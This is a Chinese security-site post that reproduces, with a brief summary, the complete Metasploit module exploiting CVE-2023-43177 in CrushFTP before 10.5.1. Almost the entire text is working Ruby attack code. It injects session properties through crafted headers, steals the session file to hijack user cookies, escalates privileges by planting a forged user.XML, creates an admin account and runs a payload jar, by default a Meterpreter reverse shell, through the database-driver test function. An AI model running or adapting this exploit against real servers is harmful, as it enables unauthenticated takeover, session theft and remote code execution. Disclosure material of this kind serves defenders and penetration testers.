标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-3390]   作者: Candy 发表于: [2024-04-15]

本文共 [10] 位读者顶过

此 Metasploit 漏洞利用模块利用对动态确定对象属性的不当控制修改漏洞 (CVE-2023-43177) 来实现未经身份验证的远程代码执行。这会影响 10.5.1 之前的 CrushFTP 版本。可以通过发送具有特制标头键值对的 HTTP 请求来设置某些用户的会话属性。这使未经身份验证的攻击者能够访问服务器文件系统上的任何位置的文件,并窃取经过身份验证的有效用户的会话 Cookie。攻击包括劫持用户的会话并升级权限以获得对目标的完全控制权。远程代码执行是通过滥用动态 SQL 驱动程序加载和配置测试功能获得的。 [出自:jiwo.org]


##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::Java::HTTP::ClassLoader
  prepend Msf::Exploit::Remote::AutoCheck
 
  class CrushFtpError < StandardError; end
  class CrushFtpNoAccessError < CrushFtpError; end
  class CrushFtpNotFoundError < CrushFtpError; end
  class CrushFtpUnknown < CrushFtpError; end
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CrushFTP Unauthenticated RCE',
        'Description' => %q{
          This exploit module leverages an Improperly Controlled Modification
          of Dynamically-Determined Object Attributes vulnerability
          (CVE-2023-43177) to achieve unauthenticated remote code execution.
          This affects CrushFTP versions prior to 10.5.1.
 
          It is possible to set some user's session properties by sending an HTTP
          request with specially crafted Header key-value pairs. This enables an
          unauthenticated attacker to access files anywhere on the server file
          system and steal the session cookies of valid authenticated users. The
          attack consists in hijacking a user's session and escalates privileges
          to obtain full control of the target. Remote code execution is obtained
          by abusing the dynamic SQL driver loading and configuration testing
          feature.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Ryan Emmons', # Initial research, discovery and PoC
          'Christophe De La Fuente' # Metasploit module
        ],
        'References' => [
          [ 'URL', 'https://convergetp.com/2023/11/16/crushftp-zero-day-cve-2023-43177-discovered/'],
          [ 'URL', 'https://github.com/the-emmons/CVE-2023-43177/blob/main/CVE-2023-43177.py'],
          [ 'URL', 'https://www.crushftp.com/crush10wiki/Wiki.jsp?page=Update'],
          [ 'CVE', '2023-43177'],
          [ 'CWE', '913' ]
        ],
        'Platform' => %w[java unix linux win],
        'Privileged' => true,
        'Arch' => [ARCH_JAVA, ARCH_X64, ARCH_X86],
        'Targets' => [
          [
            'Java',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java',
              # If not set here, Framework will pick this payload anyway and set the default LHOST to the local interface.
              # If we set the payload manually to a bind payload (e.g. `java/meterpreter/bind_tcp`) the default LHOST will be
              # used and the payload will fail if the target is not local (most likely).
              # To avoid this, the default payload is set here, which prevent Framework to set a default LHOST.
              'DefaultOptions' => { 'PAYLOAD' => 'java/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Linux Dropper',
            {
              'Arch' => [ ARCH_X64, ARCH_X86 ],
              'Platform' => 'linux'
            }
          ],
          [
            'Windows Dropper',
            {
              'Arch' => [ ARCH_X64, ARCH_X86 ],
              'Platform' => 'win'
            }
          ],
        ],
        'DisclosureDate' => '2023-08-08',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [true, 'The base path of the CrushFTP web interface', '/']),
        OptInt.new('SESSION_FILE_DELAY', [true, 'The delay in seconds between attempts to download the session file', 30])
      ]
    )
  end
 
  def send_as2_query_api(headers = {})
    rand_username = rand_text_hex(10)
    opts = {
      'uri' => normalize_uri(target_uri.path, 'WebInterface/function/?command=getUsername'),
      'method' => 'POST',
      'headers' => {
        'as2-to' => rand_text_hex(8),
        # Each key-value pair will be added into the current session’s
        # `user_info` Properties, which is used by CrushFTP to store information
        # about a user's session. Here, we set a few properties needed for the
        # exploit to work.
        'user_ip' => '127.0.0.1',
        'dont_log' => 'true',
        # The `user_name` property will be be included in the response to a
        # `getUsername` API query. This will be used to make sure the operation
        # worked and the other key-value pairs were added to the session's
        # `user_info` Properties.
        'user_name' => rand_username
      }.merge(headers)
    }
 
    # This only works with anonymous sessions, so `#get_anon_session` should be
    # called before to make sure the cookie_jar is set with an anonymous
    # session cookie.
    res = send_request_cgi(opts)
    raise CrushFtpNoAccessError, '[send_as2_query_api] Could not connect to the web server - no response' if res.nil?
 
    xml_response = res.get_xml_document
    if xml_response.xpath('//loginResult/response').text != 'success'
      raise CrushFtpUnknown, '[send_as2_query_api] The API returned a non-successful response'
    end
 
    # Checking the forged username returned in the response
    unless xml_response.xpath('//loginResult/username').text == rand_username
      raise CrushFtpUnknown, '[send_as2_query_api] username not found in response, the exploit didn\'t work'
    end
 
    res
  end
 
  def send_query_api(command:, cookie: nil, vars: {}, multipart: false, timeout: 20)
    opts = {
      'uri' => normalize_uri(target_uri.path, 'WebInterface/function/'),
      'method' => 'POST'
    }
    if multipart
      opts['vars_form_data'] = [
        {
          'name' => 'command',
          'data' => command
        },
      ]
      unless cookie.blank?
        opts['vars_form_data'] << {
          'name' => 'c2f',
          'data' => cookie.last(4)
        }
      end
      opts['vars_form_data'] += vars unless vars.empty?
    else
      opts['vars_post'] = {
        'command' => command
      }.merge(vars)
      opts['vars_post']['c2f'] = cookie.last(4) unless cookie.blank?
    end
    opts['cookie'] = "CrushAuth=#{cookie}; currentAuth=#{cookie.last(4)}" unless cookie.nil?
 
    res = send_request_cgi(opts, timeout)
    raise CrushFtpNoAccessError, '[send_query_api] Could not connect to the web server - no response' if res.nil?
 
    res
  end
 
  def get_anon_session
    vprint_status('Getting a new anonymous session')
    cookie_jar.clear
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'WebInterface'),
      'method' => 'GET',
      'keep_cookies' => true
    )
    raise CrushFtpNoAccessError, '[get_anon_session] Could not connect to the web server - no response' if res.nil?
 
    match = res.get_cookies.match(/CrushAuth=(?<cookie>\d{13}_[A-Za-z0-9]{30})/)
    raise CrushFtpNotFoundError, '[get_anon_session] Could not get the `currentAuth` cookie' unless match
 
    vprint_status("Anonymous session cookie: #{match[:cookie]}")
    match[:cookie]
  end
 
  def check
    vprint_status('Checking CrushFTP Server')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'WebInterface', 'login.html'),
      'method' => 'GET'
    )
    return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?
    return CheckCode::Safe('The web server is not running CrushFTP') unless res.body =~ /crushftp/i
 
    cookie = get_anon_session
 
    vprint_status('Checking if the attack primitive works')
    # This will raise an exception in case of error
    send_as2_query_api
 
    do_logout(cookie)
 
    CheckCode::Appears
  rescue CrushFtpError => e
    CheckCode::Unknown("#{e.class} - #{e.message}")
  end
 
  def rand_dir
    @rand_dir ||= "WebInterface/Resources/libs/jq-3.6.0_#{rand_text_hex(10)}-js/"
  end
 
  def get_session_file
    # Setting this here to be reachable by the ensure block
    cookie = nil
    begin
      cookie = get_anon_session
    rescue CrushFtpError => e
      print_bad("[get_session_file] Unable to get an anonymous session: #{e.class} - #{e.message}")
      return nil
    end
 
    vprint_status("Getting session file at `#{rand_dir}`")
    headers = {
      'filename' => '/',
      'user_protocol_proxy' => rand_text_hex(8),
      'user_log_file' => 'sessions.obj',
      'user_log_path' => './',
      'user_log_path_custom' => File.join('.', rand_dir)
    }
    send_as2_query_api(headers)
    formatted_dir = File.join('.', rand_dir.delete_suffix('/'))
    register_dirs_for_cleanup(formatted_dir) unless @dropped_dirs.include?(formatted_dir)
 
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, rand_dir, 'sessions.obj'),
      'method' => 'GET'
    )
    unless res&.code == 200
      print_bad('[get_session_file] Could not connect to the web server - no response') if res.nil?
      print_bad('[get_session_file] Could not steal the session file')
      return nil
    end
    print_good('Session file downloaded')
 
    tmp_hash = Rex::Text.md5(res.body)
    if @session_file_hash == tmp_hash
      vprint_status('Session file has not changed yet, skipping')
      return nil
    end
    @session_file_hash = tmp_hash
 
    res.body
  rescue CrushFtpError => e
    print_bad("[get_session_file] Unknown failure:#{e.class} - #{e.message}")
    return nil
  ensure
    do_logout(cookie) if cookie
  end
 
  def check_sessions(session_file)
    valid_sessions = []
    session_cookies = session_file.scan(/\d{13}_[A-Za-z0-9]{30}/).uniq
    vprint_status("Found #{session_cookies.size} session cookies in the session file")
    session_cookies.each do |cookie|
      res = send_query_api(command: 'getUsername', cookie: cookie)
      username = res.get_xml_document.xpath('//loginResult/username').text
      if username == 'anonymous'
        vprint_status("Cookie `#{cookie}` is an anonymous session")
      elsif username.empty?
        vprint_status("Cookie `#{cookie}` is not valid")
      else
        vprint_status("Cookie `#{cookie}` is valid session (username: #{username})")
        valid_sessions << { cookie: cookie, username: username }
      end
    rescue CrushFtpError => e
      print_bad("[check_sessions] Error while checking cookie `#{cookie}`: #{e.class} - #{e.message}")
    end
    valid_sessions
  end
 
  def check_admin_and_windows(cookie)
    res = send_query_api(command: 'getDashboardItems', cookie: cookie)
 
    is_windows = res.get_xml_document.xpath('//result/response_data/result_value/machine_is_windows').text
    return nil if is_windows.blank?
    return true if is_windows == 'true'
 
    false
  rescue CrushFtpError
    vprint_status("[check_admin_and_get_os_family] Cookie #{cookie} doesn't have access to the `getDashboardItems` API, it is not an admin session")
    nil
  end
 
  def get_writable_dir(path, cookie)
    res = send_query_api(command: 'getXMLListing', cookie: cookie, vars: { 'path' => path, 'random' => "0.#{rand_text_numeric(17)}" })
    xml_doc = res.get_xml_document
    current_path = xml_doc.xpath('//listingInfo/path').text
    if xml_doc.xpath('//listingInfo/privs').text.include?('(write)')
      return current_path
    end
 
    res.get_xml_document.xpath('//listingInfo/listing/listing_subitem').each do |subitem|
      if subitem.at('type').text == 'DIR'
        dir = get_writable_dir(File.join(current_path, subitem.at('href_path').text), cookie)
        return dir unless dir.nil?
      end
    end
 
    nil
  rescue CrushFtpError => e
    print_bad("[get_writable_dir] Unknown failure: #{e.class} - #{e.message}")
    nil
  end
 
  def upload_file(file_path, file_content, id, cookie)
    file_size = file_content.size
    vars = [
      { 'name' => 'upload_path', 'data' => file_path },
      { 'name' => 'upload_size', 'data' => file_size },
      { 'name' => 'upload_id', 'data' => id },
      { 'name' => 'start_resume_loc', 'data' => '0' }
    ]
    res = send_query_api(command: 'openFile', cookie: cookie, vars: vars, multipart: true)
    response_msg = res.get_xml_document.xpath('//commandResult/response').text
    if response_msg != id
      raise CrushFtpUnknown, "Unable to upload #{file_path}: #{response_msg}"
    end
 
    form_data = Rex::MIME::Message.new
    form_data.add_part(file_content, 'application/octet-stream', 'binary', "form-data; name=\"CFCD\"; filename=\"#{file_path}\"")
    post_data = form_data.to_s
    post_data.sub!("Content-Transfer-Encoding: binary\r\n", '')
 
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'U', "#{id}~1~#{file_size}"),
      'method' => 'POST',
      'cookie' => "CrushAuth=#{cookie}; currentAuth=#{cookie.last(4)}",
      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
      'data' => post_data
    )
 
    vars = [
      { 'name' => 'upload_id', 'data' => id },
      { 'name' => 'total_chunks', 'data' => '1' },
      { 'name' => 'total_bytes', 'data' => file_size },
      { 'name' => 'filePath', 'data' => file_path },
      { 'name' => 'lastModified', 'data' => DateTime.now.strftime('%Q') },
      { 'name' => 'start_resume_loc', 'data' => '0' }
    ]
    send_query_api(command: 'closeFile', cookie: cookie, vars: vars, multipart: true)
  end
 
  def check_egg(session_file, egg)
    path = session_file.match(%r{FILE://.*?#{egg}})
    return nil unless path
 
    path = path[0]
    vprint_status("Found the egg at #{path} in the session file")
    if (match = path.match(%r{^FILE://(?<path>[A-Z]:.*)#{egg}}))
      print_good("Found path `#{match[:path]}` and it is Windows")
    elsif (match = path.match(%r{^FILE:/(?<path>.*)#{egg}}))
      print_good("Found path `#{match[:path]}` and it is Unix-like")
    end
    match[:path]
  end
 
  def move_user_xml(admin_username, writable_dir)
    headers = {
      'filename' => '/',
      'user_protocol_proxy' => rand_text_hex(8),
      'user_log_file' => 'user.XML',
      'user_log_path' => "./../../../../../../../../../../../../../../..#{writable_dir}",
      'user_log_path_custom' => "./users/MainUsers/#{admin_username}/"
    }
    send_as2_query_api(headers)
  end
 
  def do_priv_esc_and_check_windows(session)
    vprint_status('Looking for a directory with write permissions')
    writable_dir = get_writable_dir('/', session[:cookie])
    if writable_dir.nil?
      print_bad('[do_priv_esc_and_check_windows] The user has no upload permissions, privilege escalation is not possible')
      return nil
    end
    print_good("Found a writable directory: #{writable_dir}")
 
    egg_rand = rand_text_hex(10)
    print_status("Uploading the egg file `#{egg_rand}`")
    egg_path = File.join(writable_dir, egg_rand)
    begin
      upload_file(egg_path, rand_text_hex(3..6), egg_rand, session[:cookie])
    rescue CrushFtpError => e
      print_bad("[do_priv_esc_and_check_windows] Unable to upload the egg file: #{e.class} - #{e.message}")
      return nil
    end
 
    admin_password = rand_text_hex(10)
    user_xml = <<~XML.gsub!(/\n */, '')
      <?xml version='1.0' encoding='UTF-8'?>
      <user type='properties'>
        <username>#{session[:username]}</username>
        <password>MD5:#{Rex::Text.md5(admin_password)}</password>
        <extra_vfs type='vector'></extra_vfs>
        <version>1.0</version>
        <userVersion>6</userVersion>
        <created_by_username>crushadmin</created_by_username>
        <created_by_email></created_by_email>
        <created_time>#{DateTime.now.strftime('%Q')}</created_time>
        <filePublicEncryptionKey></filePublicEncryptionKey>
        <fileDecryptionKey></fileDecryptionKey>
        <max_logins>0</max_logins>
        <root_dir>/</root_dir>
        <site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site>
        <password_history></password_history>
      </user>
    XML
    xml_path = File.join(writable_dir, 'user.XML')
    print_status("Uploading `user.XML` to #{xml_path}")
    begin
      upload_file(xml_path, user_xml, rand_text_hex(10), session[:cookie])
    rescue CrushFtpError => e
      print_bad("[do_priv_esc_and_check_windows] Unable to upload `user.XML`: #{e.class} - #{e.message}")
      return nil
    end
 
    path = nil
    loop do
      print_status('Looking for the egg in the session file')
      session_file = get_session_file
      if session_file
        path = check_egg(session_file, egg_rand)
        break if path
      end
      print_status("Egg not found, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")
      sleep datastore['SESSION_FILE_DELAY']
    end
    print_good("Found the file system path: #{path}")
    register_files_for_cleanup(File.join(path, egg_rand))
 
    cookie = nil
    begin
      cookie = get_anon_session
    rescue CrushFtpError => e
      print_bad("[do_priv_esc_and_check_windows] Unable to get an anonymous session: #{e.class} - #{e.message}")
      return nil
    end
    admin_username = rand_text_hex(10)
    vprint_status("The forged user will be `#{admin_username}`")
    vprint_status("Moving user.XML from #{path} to `#{admin_username}` home folder and elevate privileges")
    is_windows = path.match(/^[A-Z]:(?<path>.*)/)
    move_user_xml(admin_username, is_windows ? Regexp.last_match(:path) : path)
 
    do_logout(cookie)
    # `cookie` is explicitly set to `nil` here to make sure the ensure block
    # won't log it out again if the next call to `do_login` raises an
    # exception. Without this line, if `do_login` raises an exception, `cookie`
    # will still contain the value of the previous session cookie, which should
    # have been logged out at this point. The ensure block will try to logout
    # the same session again.
    cookie = nil
 
    print_status('Logging into the elevated account')
    cookie = do_login(admin_username, admin_password)
    fail_with(Failure::NoAccess, 'Unable to login with the elevated account') unless cookie
 
    print_good('Logged in! Now let\'s create a temporary admin account')
    [create_admin_account(cookie, is_windows), is_windows]
  ensure
    do_logout(cookie) if cookie
  end
 
  def create_admin_account(cookie, is_windows)
    # This creates an administrator account with the required VFS setting for the exploit to work
    admin_username = rand_text_hex(10)
    admin_password = rand_text_hex(10)
    user_xml = <<~XML.gsub!(/\n */, '')
      <?xml version='1.0' encoding='UTF-8'?>
      <user type='properties'>
        <username>#{admin_username}</username>
        <password>#{admin_password}</password>
        <extra_vfs type='vector'></extra_vfs>
        <version>1.0</version>
        <userVersion>6</userVersion>
        <created_by_username>crushadmin</created_by_username>
        <created_by_email></created_by_email>
        <created_time>#{DateTime.now.strftime('%Q')}</created_time>
        <filePublicEncryptionKey></filePublicEncryptionKey>
        <fileDecryptionKey></fileDecryptionKey>
        <max_logins>0</max_logins>
        <root_dir>/</root_dir>
        <site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site>
        <password_history></password_history>
      </user>
    XML
 
    url = is_windows ? 'FILE://C:/Users/Public/' : 'FILE://var/tmp/'
 
    vfs_xml = <<~XML.gsub!(/\n */, '')
      <?xml version='1.0' encoding='UTF-8'?>
      <vfs_items type='vector'>
        <vfs_items_subitem type='properties'>
          <name>tmp</name>
          <path>/</path>
          <vfs_item type='vector'>
            <vfs_item_subitem type='properties'>
              <type>DIR</type>
              <url>#{url}</url>
            </vfs_item_subitem>
          </vfs_item>
        </vfs_items_subitem>
      </vfs_items>
    XML
 
    perms_xml = <<~XML.gsub!(/\n */, '')
      <?xml version='1.0' encoding='UTF-8'?>
      <VFS type='properties'>
        <item name='/'>
          (read)(view)(resume)
        </item>
        <item name='/TMP/'>
          (read)(write)(view)(delete)(deletedir)(makedir)(rename)(resume)(share)(slideshow)
        </item>
      </VFS>
    XML
 
    vars_post = {
      'data_action' => 'new',
      'serverGroup' => 'MainUsers',
      'username' => admin_username,
      'user' => user_xml,
      'xmlItem' => 'user',
      'vfs_items' => vfs_xml,
      'permissions' => perms_xml
    }
 
    res = send_query_api(command: 'setUserItem', cookie: cookie, vars: vars_post)
    return nil if res.body.include?('Access Denied') || res.code == 404
 
    { username: admin_username, password: admin_password }
  rescue CrushFtpError => e
    print_bad("[create_admin_account] Unknown failure: #{e.class} - #{e.message}")
    nil
  end
 
  def do_login(username, password)
    vprint_status("[do_login] Logging in with username `#{username}` and password `#{password}`")
    vars = {
      'username' => username,
      'password' => password,
      'encoded' => 'true',
      'language' => 'en',
      'random' => "0.#{rand_text_numeric(17)}"
    }
    res = send_query_api(command: 'login', cookie: '', vars: vars)
    unless res.code == 200 && res.get_xml_document.xpath('//loginResult/response').text.include?('success')
      print_bad('[do_login] Login failed')
      return nil
    end
 
    match = res.get_cookies.match(/CrushAuth=(?<cookie>\d{13}_[A-Za-z0-9]{30})/)
    unless match
      print_bad('[do_login] Cannot find session cookie in response')
      return nil
    end
 
    match[:cookie]
  end
 
  def do_logout(cookie)
    vprint_status("Logging out session cookie `#{cookie}`")
    vars = {
      'random' => "0.#{rand_text_numeric(17)}"
    }
    res = send_query_api(command: 'logout', cookie: cookie, vars: vars)
    unless res.code == 200 && res.get_xml_document.xpath('//commandResult/response').text.include?('Logged out')
      vprint_bad('[do_logout] Unable to logout')
    end
  rescue CrushFtpError => e
    vprint_bad("[do_logout] An error occured when trying to logout: #{e.class} - #{e.message}")
  end
 
  def do_rce(cookie, is_windows)
    jar_file = payload.encoded_jar({ arch: payload.arch.first })
    jar_file.add_file("#{class_name}.class", constructor_class)
    jar_filename = "#{rand_text_hex(4)}.jar"
    jar_path = is_windows ? "C:/Users/Public/#{jar_filename}" : "/var/tmp/#{jar_filename}"
 
    print_status("Uploading payload .jar file `#{jar_filename}` to #{jar_path}")
    begin
      upload_file(jar_filename, jar_file.pack, class_name, cookie)
    rescue CrushFtpError => e
      raise CrushFtpUnknown, "[do_rce] Unable to upload the payload .jar file: #{e.class} - #{e.message}"
    end
 
    print_status('Triggering the payload')
    vars = {
      'db_driver_file' => jar_path,
      'db_driver' => class_name,
      'db_url' => 'jdbc:derby:./hax;create=true',
      'db_user' => rand_text(3..5),
      'db_pass' => rand_text(10..15)
    }
    begin
      send_query_api(command: 'testDB', cookie: cookie, vars: vars, timeout: 0)
    rescue CrushFtpNoAccessError
      # Expecting no response
    end
 
    register_files_for_cleanup(jar_path)
  end
 
  def delete_user(username, cookie)
    vars = {
      'data_action' => 'delete',
      'serverGroup' => 'MainUsers',
      'usernames' => username,
      'user' => '<?xml version="1.0" encoding="UTF-8"?>',
      'xmlItem' => 'user',
      'vfs_items' => '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>',
      'permissions' => '<?xml version="1.0" encoding="UTF-8"?><permissions type="vector"></permissions>'
    }
    send_query_api(command: 'setUserItem', cookie: cookie, vars: vars)
  end
 
  def exploit
    admin_creds = nil
    is_windows = nil
    loop do
      print_status('Downloading the session file')
      session_file = get_session_file
      unless session_file
        print_status("No session file, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")
        sleep datastore['SESSION_FILE_DELAY']
        next
      end
 
      print_status('Looking for the valid sessions')
      session_list = check_sessions(session_file)
      if session_list.empty?
        print_status("No valid sessions found, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")
        sleep datastore['SESSION_FILE_DELAY']
        next
      end
 
      # First, check if we have active admin sessions to go ahead and directly go the RCE part.
      session_list.each do |session|
        print_status("Checking if user #{session[:username]} is an admin (cookie: #{session[:cookie]})")
        # This will return nil if it is not an admin session
        is_windows = check_admin_and_windows(session[:cookie])
        next if is_windows.nil?
 
        print_good('It is an admin! Let\'s create a temporary admin account')
        admin_creds = create_admin_account(session[:cookie], is_windows)
        break
      end
 
      # If the previous step failed, try to escalate privileges with the remaining active sessions, if any.
      if admin_creds.nil?
        print_status('Could not find any admin session or the admin account creation failed')
        session_list.each do |session|
          print_status("Attempting privilege escalation with session cookie #{session}")
          admin_creds, is_windows = do_priv_esc_and_check_windows(session)
          break unless admin_creds.nil?
        end
      end
 
      break unless admin_creds.nil?
 
      print_status(
        "Creation of an admin account failed with the current active sessions, wait #{datastore['SESSION_FILE_DELAY']}"\
        'seconds and try again... (Ctrl-C to exit)'
      )
      sleep datastore['SESSION_FILE_DELAY']
    end
 
    print_good("Administrator account created: username=#{admin_creds[:username]}, password=#{admin_creds[:password]}")
 
    cookie = do_login(admin_creds[:username], admin_creds[:password])
    fail_with(Failure::NoAccess, 'Unable to login with the new administrator credentials') unless cookie
 
    do_rce(cookie, is_windows)
 
    print_status('Cleanup the temporary admin account')
    delete_user(admin_creds[:username], cookie)
  rescue CrushFtpError => e
    fail_with(Failure::Unknown, "Unknown failure: #{e.class} - #{e.message}")
  ensure
    do_logout(cookie) if cookie
  end
end

评论

暂无
发表评论
 返回顶部 
热度(10)
 关注微信